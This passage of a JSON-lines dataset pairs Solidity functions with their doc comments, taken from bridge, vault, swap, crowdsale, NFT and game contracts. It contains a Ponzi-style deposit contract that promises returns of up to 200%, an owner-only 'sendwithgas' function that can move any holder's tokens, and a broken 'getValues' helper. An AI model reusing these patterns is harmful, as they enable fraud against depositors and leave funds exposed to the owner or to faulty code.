forceRegisterTokenToL2(\n address[] calldata _l1Addresses,\n address[] calldata _l2Addresses,\n uint256 _maxGas,\n uint256 _gasPriceBid,\n uint256 _maxSubmissionCost\n ) external payable returns (uint256) {\n require(msg.sender == owner, \"ONLY_OWNER\");\n require(_l1Addresses.length == _l2Addresses.length, \"INVALID_LENGTHS\");\n\n for (uint256 i = 0; i < _l1Addresses.length; i++) {\n // here we assume the owner checked both addresses offchain before force registering\n // require(address(_l1Addresses[i]).isContract(), \"MUST_BE_CONTRACT\");\n l1ToL2Token[_l1Addresses[i]] = _l2Addresses[i];\n emit TokenSet(_l1Addresses[i], _l2Addresses[i]);\n }\n\n bytes memory _data = abi.encodeWithSelector(\n L2CustomGateway.registerTokenFromL1.selector,\n _l1Addresses,\n _l2Addresses\n );\n\n return\n sendTxToL2(\n inbox,\n counterpartGateway,\n msg.sender,\n msg.value,\n 0,\n _maxSubmissionCost,\n _maxGas,\n _gasPriceBid,\n _data\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Returns the protocol fee amount to charge for a flash loan of `amount`.\n */", "function_code": "function _calculateFlashLoanFeeAmount(uint256 amount) internal view returns (uint256) {\n // Fixed point multiplication introduces error: we round up, which means in certain scenarios the charged\n // percentage can be slightly higher than intended.\n uint256 percentage = getProtocolFeesCollector().getFlashLoanFeePercentage();\n return FixedPoint.mulUp(amount, percentage);\n }", "version": "0.7.1"} {"comment": "/**\n * @dev Extracts the signature parameters from extra calldata.\n *\n * This function returns bogus data if no signature is included. This is not a security risk, as that data would not\n * be considered a valid signature in the first place.\n */", "function_code": "function _signature()\n internal\n pure\n returns (\n uint8 v,\n bytes32 r,\n bytes32 s\n )\n {\n // v, r and s are appended after the signature deadline, in that order.\n v = uint8(uint256(_decodeExtraCalldataWord(0x20)));\n r = _decodeExtraCalldataWord(0x40);\n s = _decodeExtraCalldataWord(0x60);\n }", "version": "0.7.1"} {"comment": "/**\r\n * @dev Allows this contract to make approve call for a token\r\n * This method is expected to be called using externalCall method.\r\n * @param token The address of the token\r\n * @param to The address of the spender\r\n * @param amount The amount to be approved\r\n */", "function_code": "function approve(\r\n address token,\r\n address to,\r\n uint256 amount\r\n )\r\n external\r\n onlySelf\r\n {\r\n require(amount > 0, \"Amount should be greater than 0!!\");\r\n //1. Check for valid whitelisted address\r\n require(\r\n isWhitelisted(to),\r\n \"AugustusSwapper: Not a whitelisted address!!\"\r\n );\r\n\r\n //2. Check for ETH address\r\n if (token != ETH_ADDRESS) {\r\n //3. Approve\r\n IERC20 _token = IERC20(token);\r\n _token.safeApprove(to, amount);\r\n }\r\n\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev The function which performs the actual swap.\r\n * The call data to the actual exchanges must be built offchain\r\n * and then sent to this method. It will be call those external exchanges using\r\n * data passed through externalCall function\r\n * It is a nonreentrant function\r\n * @param sourceToken Address of the source token\r\n * @param destinationToken Address of the destination token\r\n * @param sourceAmount Amount of source tokens to be swapped\r\n * @param minDestinationAmount Minimu destination token amount expected out of this swap\r\n * @param callees Address of the external callee. This will also contain address of exchanges\r\n * where actual swap will happen\r\n * @param exchangeData Concatenated data to be sent in external call to the above callees\r\n * @param startIndexes start index of calldata in above data structure for each callee\r\n * @param values Amount of ethers to be sent in external call to each callee\r\n * @param mintPrice Price of gas at the time of minting of gas tokens, if any. In wei\r\n */", "function_code": "function swap(\r\n address sourceToken,\r\n address destinationToken,\r\n uint256 sourceAmount,\r\n uint256 minDestinationAmount,\r\n address[] memory callees,\r\n bytes memory exchangeData,\r\n uint256[] memory startIndexes,\r\n uint256[] memory values,\r\n string memory referrer,\r\n uint256 mintPrice\r\n )\r\n public\r\n payable\r\n whenNotPaused\r\n nonReentrant\r\n {\r\n uint receivedAmount = performSwap(\r\n sourceToken,\r\n destinationToken,\r\n sourceAmount,\r\n minDestinationAmount,\r\n callees,\r\n exchangeData,\r\n startIndexes,\r\n values,\r\n mintPrice\r\n );\r\n\r\n transferTokens(destinationToken, msg.sender, receivedAmount);\r\n\r\n emit Swapped(\r\n msg.sender,\r\n sourceToken,\r\n destinationToken,\r\n sourceAmount,\r\n receivedAmount,\r\n referrer\r\n );\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Helper method to refund gas using gas tokens\r\n */", "function_code": "function refundGas(uint256 initialGas, uint256 mintPrice) private {\r\n\r\n uint256 mintBase = 32254;\r\n uint256 mintToken = 36543;\r\n uint256 freeBase = 14154;\r\n uint256 freeToken = 6870;\r\n uint256 reimburse = 24000;\r\n\r\n uint256 tokens = initialGas.sub(\r\n gasleft()).add(freeBase).div(reimburse.mul(2).sub(freeToken)\r\n );\r\n\r\n uint256 mintCost = mintBase.add(tokens.mul(mintToken));\r\n uint256 freeCost = freeBase.add(tokens.mul(freeToken));\r\n uint256 maxreimburse = tokens.mul(reimburse);\r\n\r\n uint256 efficiency = maxreimburse.mul(tx.gasprice).mul(100).div(\r\n mintCost.mul(mintPrice).add(freeCost.mul(tx.gasprice))\r\n );\r\n\r\n if (efficiency > 100) {\r\n freeGasTokens(tokens);\r\n }\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Helper method to free gas tokens\r\n */", "function_code": "function freeGasTokens(uint256 tokens) private {\r\n\r\n uint256 tokensToFree = tokens;\r\n uint256 safeNumTokens = 0;\r\n uint256 gas = gasleft();\r\n\r\n if (gas >= 27710) {\r\n safeNumTokens = gas.sub(27710).div(1148 + 5722 + 150);\r\n }\r\n\r\n if (tokensToFree > safeNumTokens) {\r\n tokensToFree = safeNumTokens;\r\n }\r\n\r\n uint256 gasTokenBal = _gasToken.balanceOf(address(this));\r\n\r\n if (tokensToFree > 0 && gasTokenBal >= tokensToFree) {\r\n _gasToken.freeUpTo(tokensToFree);\r\n }\r\n\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Helper method to calculate fees\r\n * @param receivedAmount Received amount of tokens\r\n */", "function_code": "function calculateFee(\r\n address sourceToken,\r\n uint256 receivedAmount,\r\n uint256 calleesLength\r\n )\r\n private\r\n view\r\n returns (uint256)\r\n {\r\n uint256 fee = 0;\r\n if (sourceToken == ETH_ADDRESS && calleesLength == 1) {\r\n return 0;\r\n }\r\n\r\n else if (sourceToken != ETH_ADDRESS && calleesLength == 2) {\r\n return 0;\r\n }\r\n\r\n if (_fee > 0) {\r\n fee = receivedAmount.mul(_fee).div(10000);\r\n }\r\n return fee;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Source take from GNOSIS MultiSigWallet\r\n * @dev https://github.com/gnosis/MultiSigWallet/blob/master/contracts/MultiSigWallet.sol\r\n */", "function_code": "function externalCall(\r\n address destination,\r\n uint256 value,\r\n uint256 dataOffset,\r\n uint dataLength,\r\n bytes memory data\r\n )\r\n private\r\n returns (bool)\r\n {\r\n bool result = false;\r\n assembly {\r\n let x := mload(0x40) // \"Allocate\" memory for output (0x40 is where \"free memory\" pointer is stored by convention)\r\n\r\n let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that\r\n result := call(\r\n sub(gas, 34710), // 34710 is the value that solidity is currently emitting\r\n // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +\r\n // callNewAccountGas (25000, in case the destination address does not exist and needs creating)\r\n destination,\r\n value,\r\n add(d, dataOffset),\r\n dataLength, // Size of the input (in bytes) - this is what fixes the padding problem\r\n x,\r\n 0 // Output is ignored, therefore the output size is zero\r\n )\r\n }\r\n return result;\r\n }", "version": "0.5.10"} {"comment": "/**\n * @dev Returns the original calldata, without the extra bytes containing the signature.\n *\n * This function returns bogus data if no signature is included.\n */", "function_code": "function _calldata() internal pure returns (bytes memory result) {\n result = msg.data; // A calldata to memory assignment results in memory allocation and copy of contents.\n if (result.length > _EXTRA_CALLDATA_LENGTH) {\n // solhint-disable-next-line no-inline-assembly\n assembly {\n // We simply overwrite the array length with the reduced one.\n mstore(result, sub(calldatasize(), _EXTRA_CALLDATA_LENGTH))\n }\n }\n }", "version": "0.7.1"} {"comment": "/**\n * @notice Finalizes a withdrawal via Outbox message; callable only by L2Gateway.outboundTransfer\n * @param _token L1 address of token being withdrawn from\n * @param _from initiator of withdrawal\n * @param _to address the L2 withdrawal call set as the destination.\n * @param _amount Token amount being withdrawn\n * @param _data encoded exitNum (Sequentially increasing exit counter determined by the L2Gateway) and additinal hook data\n */", "function_code": "function finalizeInboundTransfer(\n address _token,\n address _from,\n address _to,\n uint256 _amount,\n bytes calldata _data\n ) external payable override onlyCounterpartGateway {\n (uint256 exitNum, bytes memory callHookData) = GatewayMessageHandler.parseToL1GatewayMsg(\n _data\n );\n\n if (callHookData.length != 0) {\n // callHookData should always be 0 since inboundEscrowAndCall is disabled\n callHookData = bytes(\"\");\n }\n\n // we ignore the returned data since the callHook feature is now disabled\n (_to, ) = getExternalCall(exitNum, _to, callHookData);\n inboundEscrowTransfer(_token, _to, _amount);\n\n emit WithdrawalFinalized(_token, _from, _to, exitNum, _amount);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Creates a Pool ID.\n *\n * These are deterministically created by packing the Pool's contract address and its specialization setting into\n * the ID. This saves gas by making this data easily retrievable from a Pool ID with no storage accesses.\n *\n * Since a single contract can register multiple Pools, a unique nonce must be provided to ensure Pool IDs are\n * unique.\n *\n * Pool IDs have the following layout:\n * | 20 bytes pool contract address | 2 bytes specialization setting | 10 bytes nonce |\n * MSB LSB\n *\n * 2 bytes for the specialization setting is a bit overkill: there only three of them, which means two bits would\n * suffice. However, there's nothing else of interest to store in this extra space.\n */", "function_code": "function _toPoolId(\n address pool,\n PoolSpecialization specialization,\n uint80 nonce\n ) internal pure returns (bytes32) {\n bytes32 serialized;\n\n serialized |= bytes32(uint256(nonce));\n serialized |= bytes32(uint256(specialization)) << (10 * 8);\n serialized |= bytes32(uint256(pool)) << (12 * 8);\n\n return serialized;\n }", "version": "0.7.1"} {"comment": "/**\n * @dev Returns the address of a Pool's contract.\n *\n * Due to how Pool IDs are created, this is done with no storage accesses and costs little gas.\n */", "function_code": "function _getPoolAddress(bytes32 poolId) internal pure returns (address) {\n // 12 byte logical shift left to remove the nonce and specialization setting. We don't need to mask,\n // since the logical shift already sets the upper bits to zero.\n return address(uint256(poolId) >> (12 * 8));\n }", "version": "0.7.1"} {"comment": "//low level function to buy tokens", "function_code": "function buyTokens(address beneficiary) internal {\r\n require(beneficiary != 0x0);\r\n require(whitelist[beneficiary]);\r\n require(validPurchase());\r\n\r\n //derive amount in wei to buy \r\n uint256 weiAmount = msg.value;\r\n\r\n // check if contribution is in the first 24h hours\r\n if (getBlockTimestamp() <= firstDay) {\r\n require((contribution[beneficiary].add(weiAmount)) <= firstDayCap);\r\n }\r\n //check if there is enough funds \r\n uint256 remainingToFund = cap.sub(weiRaised);\r\n if (weiAmount > remainingToFund) {\r\n weiAmount = remainingToFund;\r\n }\r\n uint256 weiToReturn = msg.value.sub(weiAmount);\r\n //Forward funs to the vault \r\n forwardFunds(weiAmount);\r\n //refund if the contribution exceed the cap\r\n if (weiToReturn > 0) {\r\n msg.sender.transfer(weiToReturn);\r\n TokenRefund(beneficiary, weiToReturn);\r\n }\r\n //derive how many tokens\r\n uint256 tokens = getTokens(weiAmount);\r\n //update the state of weiRaised\r\n weiRaised = weiRaised.add(weiAmount);\r\n contribution[beneficiary] = contribution[beneficiary].add(weiAmount);\r\n \r\n //Trigger the event of TokenPurchase\r\n TokenPurchase(\r\n msg.sender,\r\n beneficiary,\r\n weiAmount,\r\n tokens\r\n );\r\n token.transferTokens(beneficiary,tokens);\r\n \r\n }", "version": "0.4.18"} {"comment": "//Only owner can manually finalize the sale", "function_code": "function finalize() onlyOwner {\r\n require(!isFinalized);\r\n require(hasEnded());\r\n\r\n if (goalReached()) {\r\n //Close the vault\r\n vault.close();\r\n //Unpause the token \r\n token.unpause();\r\n //give ownership back to deployer\r\n token.transferOwnership(owner);\r\n } else {\r\n //else enable refunds\r\n vault.enableRefunds();\r\n }\r\n //update the sate of isFinalized\r\n isFinalized = true;\r\n //trigger and emit the event of finalization\r\n Finalized();\r\n }", "version": "0.4.18"} {"comment": "// @return true if the transaction can buy tokens", "function_code": "function validPurchase() internal constant returns (bool) {\r\n bool withinPeriod = getBlockTimestamp() >= startTime && getBlockTimestamp() <= endTime;\r\n bool nonZeroPurchase = msg.value != 0;\r\n bool capNotReached = weiRaised < cap;\r\n return withinPeriod && nonZeroPurchase && capNotReached;\r\n }", "version": "0.4.18"} {"comment": "//Note: owner (or their advocate) is expected to have audited what they commit to,\n// including confidence that the terms are guaranteed not to change. i.e. the smartInvoice is trusted", "function_code": "function commit(SmartInvoice smartInvoice) external isOwner returns (bool) {\n require(smartInvoice.payer() == address(this), \"not smart invoice payer\");\n require(smartInvoice.status() == SmartInvoice.Status.UNCOMMITTED, \"smart invoice already committed\");\n require(smartInvoice.assetToken() == this.assetToken(), \"smartInvoice uses different asset token\");\n require(smartInvoice.commit(), \"could not commit\");\n require(smartInvoice.status() == SmartInvoice.Status.COMMITTED, \"commit did not update status\");\n _smartInvoiceStatus[address(smartInvoice)] = SmartInvoice.Status.COMMITTED;\n return true;\n }", "version": "0.5.0"} {"comment": "// @dev convinence function for returning the offset token ID", "function_code": "function xhouseID(uint256 _id) public view returns (uint256 houseID) {\n for (uint256 i = 1; i <= SEASON_COUNT; i++) {\n if (_id < seasons[i].unit_count) {\n return (_id + seasons[i].tokenOffset) % seasons[i].unit_count;\n }\n }\n }", "version": "0.8.7"} {"comment": "// onlyOwner functions", "function_code": "function addSeason(\n uint256 _seasonNum,\n uint256 _price,\n uint256 _count,\n uint256 _walletLimit,\n string memory _provenance,\n string memory _baseURI\n ) external onlyOwner {\n require(seasons[_seasonNum].unit_count == 0, \"Season Already exists\");\n seasons[_seasonNum] = Season(\n _seasonNum,\n _price,\n _count,\n _walletLimit,\n 0, // offset init\n _provenance,\n _baseURI,\n true, // paused\n false, // publicSales\n false // revealed\n );\n SEASON_COUNT += 1;\n // season 1 , 111\n // season 2, 111 + 111\n // season 3 , 222 + 111\n season_offsets[_seasonNum] = season_offsets[_seasonNum - 1] + _count;\n season_minted[_seasonNum] = 0;\n }", "version": "0.8.7"} {"comment": "// @dev gift a single token to each address passed in through calldata\n// @param _season uint256 season number\n// @param _recipients Array of addresses to send a single token to", "function_code": "function gift(uint256 _season, address[] calldata _recipients)\n external\n onlyOwner\n {\n require(\n _recipients.length + season_minted[_season] <=\n seasons[_season].unit_count,\n \"Number of gifts exceeds season supply\"\n );\n\n for (uint256 i = 0; i < _recipients.length; i++) {\n uint256 tokenID = season_offsets[_season - 1] +\n season_minted[_season] +\n 1;\n _safeMint(_recipients[i], tokenID);\n totalPublicMinted += 1;\n season_minted[_season] += 1;\n }\n }", "version": "0.8.7"} {"comment": "/**\n * Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index\n */", "function_code": "function _insert(Set storage set_, uint256 index_, bytes32 valueToInsert_ ) private returns ( bool ) {\n require( set_._values.length > index_ );\n require( !_contains( set_, valueToInsert_ ), \"Remove value you wish to insert if you wish to reorder array.\" );\n bytes32 existingValue_ = _at( set_, index_ );\n set_._values[index_] = valueToInsert_;\n return _add( set_, existingValue_);\n }", "version": "0.7.5"} {"comment": "/**\n * TODO Might require explicit conversion of bytes32[] to address[].\n * Might require iteration.\n */", "function_code": "function getValues( AddressSet storage set_ ) internal view returns ( address[] memory ) {\n\n address[] memory addressArray;\n\n for( uint256 iteration_ = 0; _length(set_._inner) >= iteration_; iteration_++ ){\n addressArray[iteration_] = at( set_, iteration_ );\n }\n\n return addressArray;\n }", "version": "0.7.5"} {"comment": "// mine token", "function_code": "function earned(uint256 _tokenId) public view returns (uint256) {\r\n if(!_exists(_tokenId)) {\r\n return 0;\r\n }\r\n Property memory prop = cardProperties[_tokenId];\r\n uint256 _startTime = Math.max(prop.lastUpdateTime, mineStartTime);\r\n uint256 _endTime = Math.min(block.timestamp,mineEndTime);\r\n\r\n if(_startTime >= _endTime) {\r\n return 0;\r\n }\r\n\r\n return prop.forceValue.mul(prop.defenderValue)\r\n .mul(mineFactor).mul(_endTime.sub(_startTime))\r\n .div(1 days);\r\n }", "version": "0.6.12"} {"comment": "// Compose intermediate cards", "function_code": "function composeToIntermediateCards(uint256[] memory _tokenIds) external {\r\n require(hasComposeToIntermediateStarted, \"Compose to intermediate card has not started\");\r\n uint256 count = _tokenIds.length / 2;\r\n require(_tokenIds.length % 2 == 0 && count > 0 && count <= 5, \"Number of cards does not match or exceed maximum cards,maximum is 10\");\r\n CardType cardType = cardProperties[_tokenIds[0]].cardType;\r\n uint256 nextIntermediateCardId = nextUltramanIntermediateCardId;\r\n if(cardType == CardType.Monster) {\r\n nextIntermediateCardId = nextMonsterIntermediateCardId;\r\n }\r\n require(nextIntermediateCardId.add((count - 1) * 2) <= intermediateCardIdEnd, \"No enough intermediate card\");\r\n uint256 _tokenPrice = getTokenPrice();\r\n uint256 needToken = composeToIntermediateCardNeedValue.\r\n mul(WEI_PRECISION).\r\n mul(count).\r\n div(_tokenPrice);\r\n\r\n untToken.safeTransferFrom(msg.sender,dev,needToken);\r\n for(uint256 i = 0 ; i < count ;i++) {\r\n uint256 first = i * 2 ;\r\n uint256 second = first + 1;\r\n compose(_tokenIds[first],_tokenIds[second],CardLevel.Elementary,nextIntermediateCardId,cardType);\r\n nextIntermediateCardId = nextIntermediateCardId + 2;\r\n }\r\n if(cardType == CardType.Ultraman) {\r\n nextUltramanIntermediateCardId = nextIntermediateCardId;\r\n }else {\r\n nextMonsterIntermediateCardId = nextIntermediateCardId;\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Compose advanced cards", "function_code": "function composeToAdvancedCards(uint256[] memory _tokenIds) external {\r\n require(hasComposeToAdvancedStarted, \"Compose to advance card has not started\");\r\n uint256 count = _tokenIds.length / 2;\r\n require(_tokenIds.length % 2 == 0 && count > 0 && count <= 5, \"Number of cards does not match or exceed maximum cards,maximum is 10\");\r\n CardType cardType = cardProperties[_tokenIds[0]].cardType;\r\n uint256 nextAdvancedCardId = nextUltramanAdvancedCardId;\r\n if(cardType == CardType.Monster) {\r\n nextAdvancedCardId = nextMonsterAdvancedCardId;\r\n }\r\n require(nextAdvancedCardId.add((count - 1) * 2) <= advancedCardIdEnd, \"No enough advance card\");\r\n\r\n uint256 _tokenPrice = getTokenPrice();\r\n uint256 needToken = composeToAdvancedCardNeedValue.\r\n mul(WEI_PRECISION).\r\n mul(count).\r\n div(_tokenPrice);\r\n\r\n untToken.safeTransferFrom(msg.sender,dev,needToken);\r\n for(uint256 i = 0 ; i < count ;i++) {\r\n uint256 first = i * 2 ;\r\n uint256 second = first + 1;\r\n compose(_tokenIds[first],_tokenIds[second],CardLevel.Intermediate,nextAdvancedCardId,cardType);\r\n nextAdvancedCardId = nextAdvancedCardId + 2;\r\n }\r\n if(cardType == CardType.Ultraman) {\r\n nextUltramanAdvancedCardId = nextAdvancedCardId;\r\n }else {\r\n nextMonsterAdvancedCardId = nextAdvancedCardId;\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Overrides Crowdsale fund forwarding, sending funds to vault if not finalised, otherwise to wallet\r\n */", "function_code": "function _forwardFunds() internal {\r\n // once finalized all contributions got to the wallet\r\n if (isFinalized) {\r\n wallet.transfer(msg.value);\r\n }\r\n // otherwise send to vault to allow refunds, if required\r\n else {\r\n vault.deposit.value(msg.value)(msg.sender);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Extend parent behavior requiring contract to not be paused.\r\n * @param _beneficiary Token beneficiary\r\n * @param _weiAmount Amount of wei contributed\r\n */", "function_code": "function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {\r\n super._preValidatePurchase(_beneficiary, _weiAmount);\r\n\r\n require(isCrowdsaleOpen(), \"Crowdsale not open\");\r\n\r\n require(weiRaised.add(_weiAmount) <= hardCap, \"Exceeds maximum cap\");\r\n\r\n require(_weiAmount >= minimumContribution, \"Beneficiary minimum amount not reached\");\r\n\r\n require(whitelist[_beneficiary], \"Beneficiary not whitelisted\");\r\n\r\n require(whitelist[msg.sender], \"Sender not whitelisted\");\r\n\r\n require(!paused, \"Contract paused\");\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Registers tokens in a Two Token Pool.\n *\n * This function assumes `poolId` exists and corresponds to the Two Token specialization setting.\n *\n * Requirements:\n *\n * - `tokenX` and `tokenY` must not be the same\n * - The tokens must be ordered: tokenX < tokenY\n */", "function_code": "function _registerTwoTokenPoolTokens(\n bytes32 poolId,\n IERC20 tokenX,\n IERC20 tokenY\n ) internal {\n // Not technically true since we didn't register yet, but this is consistent with the error messages of other\n // specialization settings.\n _require(tokenX != tokenY, Errors.TOKEN_ALREADY_REGISTERED);\n\n _require(tokenX < tokenY, Errors.UNSORTED_TOKENS);\n\n // A Two Token Pool with no registered tokens is identified by having zero addresses for tokens A and B.\n TwoTokenPoolTokens storage poolTokens = _twoTokenPoolTokens[poolId];\n _require(poolTokens.tokenA == IERC20(0) && poolTokens.tokenB == IERC20(0), Errors.TOKENS_ALREADY_SET);\n\n // Since tokenX < tokenY, tokenX is A and tokenY is B\n poolTokens.tokenA = tokenX;\n poolTokens.tokenB = tokenY;\n\n // Note that we don't initialize the balance mapping: the default value of zero corresponds to an empty\n // balance.\n }", "version": "0.7.1"} {"comment": "/**\n * @dev Deregisters tokens in a Two Token Pool.\n *\n * This function assumes `poolId` exists and corresponds to the Two Token specialization setting.\n *\n * Requirements:\n *\n * - `tokenX` and `tokenY` must be registered in the Pool\n * - both tokens must have zero balance in the Vault\n */", "function_code": "function _deregisterTwoTokenPoolTokens(\n bytes32 poolId,\n IERC20 tokenX,\n IERC20 tokenY\n ) internal {\n (\n bytes32 balanceA,\n bytes32 balanceB,\n TwoTokenPoolBalances storage poolBalances\n ) = _getTwoTokenPoolSharedBalances(poolId, tokenX, tokenY);\n\n _require(balanceA.isZero() && balanceB.isZero(), Errors.NONZERO_TOKEN_BALANCE);\n\n delete _twoTokenPoolTokens[poolId];\n\n // For consistency with other Pool specialization settings, we explicitly reset the packed cash field (which may\n // have a non-zero last change block).\n delete poolBalances.sharedCash;\n }", "version": "0.7.1"} {"comment": "/**\n * @dev Sets `token`'s balance in a Two Token Pool to the result of the `mutation` function when called with\n * the current balance and `amount`.\n *\n * This function assumes `poolId` exists, corresponds to the Two Token specialization setting, and that `token` is\n * registered for that Pool.\n *\n * Returns the managed balance delta as a result of this call.\n */", "function_code": "function _updateTwoTokenPoolSharedBalance(\n bytes32 poolId,\n IERC20 token,\n function(bytes32, uint256) returns (bytes32) mutation,\n uint256 amount\n ) private returns (int256) {\n (\n TwoTokenPoolBalances storage balances,\n IERC20 tokenA,\n bytes32 balanceA,\n ,\n bytes32 balanceB\n ) = _getTwoTokenPoolBalances(poolId);\n\n int256 delta;\n if (token == tokenA) {\n bytes32 newBalance = mutation(balanceA, amount);\n delta = newBalance.managedDelta(balanceA);\n balanceA = newBalance;\n } else {\n // token == tokenB\n bytes32 newBalance = mutation(balanceB, amount);\n delta = newBalance.managedDelta(balanceB);\n balanceB = newBalance;\n }\n\n balances.sharedCash = BalanceAllocation.toSharedCash(balanceA, balanceB);\n balances.sharedManaged = BalanceAllocation.toSharedManaged(balanceA, balanceB);\n\n return delta;\n }", "version": "0.7.1"} {"comment": "/*\n * @dev Returns an array with all the tokens and balances in a Two Token Pool. The order may change when\n * tokens are registered or deregistered.\n *\n * This function assumes `poolId` exists and corresponds to the Two Token specialization setting.\n */", "function_code": "function _getTwoTokenPoolTokens(bytes32 poolId)\n internal\n view\n returns (IERC20[] memory tokens, bytes32[] memory balances)\n {\n (, IERC20 tokenA, bytes32 balanceA, IERC20 tokenB, bytes32 balanceB) = _getTwoTokenPoolBalances(poolId);\n\n // Both tokens will either be zero (if unregistered) or non-zero (if registered), but we keep the full check for\n // clarity.\n if (tokenA == IERC20(0) || tokenB == IERC20(0)) {\n return (new IERC20[](0), new bytes32[](0));\n }\n\n // Note that functions relying on this getter expect tokens to be properly ordered, so we use the (A, B)\n // ordering.\n\n tokens = new IERC20[](2);\n tokens[0] = tokenA;\n tokens[1] = tokenB;\n\n balances = new bytes32[](2);\n balances[0] = balanceA;\n balances[1] = balanceB;\n }", "version": "0.7.1"} {"comment": "//return of interest on the deposit", "function_code": "function collectPercent() isIssetUser timePayment internal {\r\n //if the user received 200% or more of his contribution, delete the user\r\n if ((userDeposit[msg.sender].mul(2)) <= persentWithdraw[msg.sender]) {\r\n userDeposit[msg.sender] = 0;\r\n userTime[msg.sender] = 0;\r\n persentWithdraw[msg.sender] = 0;\r\n } else {\r\n uint payout = payoutAmount();\r\n userTime[msg.sender] = now;\r\n persentWithdraw[msg.sender] += payout;\r\n msg.sender.transfer(payout);\r\n }\r\n }", "version": "0.4.25"} {"comment": "//calculation of the current interest rate on the deposit", "function_code": "function persentRate() public view returns(uint) {\r\n //get contract balance\r\n uint balance = address(this).balance;\r\n //calculate persent rate\r\n if (balance < stepLow) {\r\n return (startPercent);\r\n }\r\n if (balance >= stepLow && balance < stepMiddle) {\r\n return (lowPersent);\r\n }\r\n if (balance >= stepMiddle && balance < stepHigh) {\r\n return (middlePersent);\r\n }\r\n if (balance >= stepHigh) {\r\n return (highPersent);\r\n }\r\n }", "version": "0.4.25"} {"comment": "//make a contribution to the system", "function_code": "function makeDeposit() private {\r\n if (msg.value > 0) {\r\n if (userDeposit[msg.sender] == 0) {\r\n countOfInvestors += 1;\r\n }\r\n if (userDeposit[msg.sender] > 0 && now > userTime[msg.sender].add(chargingTime)) {\r\n collectPercent();\r\n }\r\n userDeposit[msg.sender] = userDeposit[msg.sender].add(msg.value);\r\n userTime[msg.sender] = now;\r\n //sending money for advertising\r\n projectFund.transfer(msg.value.mul(projectPercent).div(100));\r\n //sending money to charity\r\n uint charityMoney = msg.value.mul(charityPercent).div(100);\r\n countOfCharity+=charityMoney;\r\n charityFund.transfer(charityMoney);\r\n } else {\r\n collectPercent();\r\n }\r\n }", "version": "0.4.25"} {"comment": "//return of deposit balance", "function_code": "function returnDeposit() isIssetUser private {\r\n //userDeposit-persentWithdraw-(userDeposit*8/100)\r\n uint withdrawalAmount = userDeposit[msg.sender].sub(persentWithdraw[msg.sender]).sub(userDeposit[msg.sender].mul(projectPercent).div(100));\r\n //check that the user's balance is greater than the interest paid\r\n require(userDeposit[msg.sender] > withdrawalAmount, 'You have already repaid your deposit');\r\n //delete user record\r\n userDeposit[msg.sender] = 0;\r\n userTime[msg.sender] = 0;\r\n persentWithdraw[msg.sender] = 0;\r\n msg.sender.transfer(withdrawalAmount);\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Same as `_getTwoTokenPoolTokens`, except it returns the two tokens and balances directly instead of using\n * an array, as well as a storage pointer to the `TwoTokenPoolBalances` struct, which can be used to update it\n * without having to recompute the pair hash and storage slot.\n */", "function_code": "function _getTwoTokenPoolBalances(bytes32 poolId)\n private\n view\n returns (\n TwoTokenPoolBalances storage poolBalances,\n IERC20 tokenA,\n bytes32 balanceA,\n IERC20 tokenB,\n bytes32 balanceB\n )\n {\n TwoTokenPoolTokens storage poolTokens = _twoTokenPoolTokens[poolId];\n tokenA = poolTokens.tokenA;\n tokenB = poolTokens.tokenB;\n\n bytes32 pairHash = _getTwoTokenPairHash(tokenA, tokenB);\n poolBalances = poolTokens.balances[pairHash];\n\n bytes32 sharedCash = poolBalances.sharedCash;\n bytes32 sharedManaged = poolBalances.sharedManaged;\n\n balanceA = BalanceAllocation.fromSharedToBalanceA(sharedCash, sharedManaged);\n balanceB = BalanceAllocation.fromSharedToBalanceB(sharedCash, sharedManaged);\n }", "version": "0.7.1"} {"comment": "/**\n * @dev Returns the balance of a token in a Two Token Pool.\n *\n * This function assumes `poolId` exists and corresponds to the General specialization setting.\n *\n * This function is convenient but not particularly gas efficient, and should be avoided during gas-sensitive\n * operations, such as swaps. For those, _getTwoTokenPoolSharedBalances provides a more flexible interface.\n *\n * Requirements:\n *\n * - `token` must be registered in the Pool\n */", "function_code": "function _getTwoTokenPoolBalance(bytes32 poolId, IERC20 token) internal view returns (bytes32) {\n // We can't just read the balance of token, because we need to know the full pair in order to compute the pair\n // hash and access the balance mapping. We therefore rely on `_getTwoTokenPoolBalances`.\n (, IERC20 tokenA, bytes32 balanceA, IERC20 tokenB, bytes32 balanceB) = _getTwoTokenPoolBalances(poolId);\n\n if (token == tokenA) {\n return balanceA;\n } else if (token == tokenB) {\n return balanceB;\n } else {\n _revert(Errors.TOKEN_NOT_REGISTERED);\n }\n }", "version": "0.7.1"} {"comment": "/**\n * @dev Returns true if `token` is registered in a Two Token Pool.\n *\n * This function assumes `poolId` exists and corresponds to the Two Token specialization setting.\n */", "function_code": "function _isTwoTokenPoolTokenRegistered(bytes32 poolId, IERC20 token) internal view returns (bool) {\n TwoTokenPoolTokens storage poolTokens = _twoTokenPoolTokens[poolId];\n\n // The zero address can never be a registered token.\n return (token == poolTokens.tokenA || token == poolTokens.tokenB) && token != IERC20(0);\n }", "version": "0.7.1"} {"comment": "/**\r\n * ERC20 Token Transfer\r\n */", "function_code": "function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public onlyOwner notFrozen(_from) returns (bool) {\r\n\r\nuint256 _total;\r\n_total = _value.add(_fee);\r\nrequire(!frozen[_from]);\r\nrequire(_to != address(0));\r\nrequire(_total <= balances[_from]);\r\nbalances[msg.sender] = balances[msg.sender].add(_fee);\r\nbalances[_from] = balances[_from].sub(_total);\r\nbalances[_to] = balances[_to].add(_value);\r\n\r\nemit Transfer(_from, _to, _value);\r\nemit Transfer(_from, msg.sender, _fee);\r\n\r\nreturn true;\r\n\r\n}", "version": "0.4.24"} {"comment": "/**\n * @dev 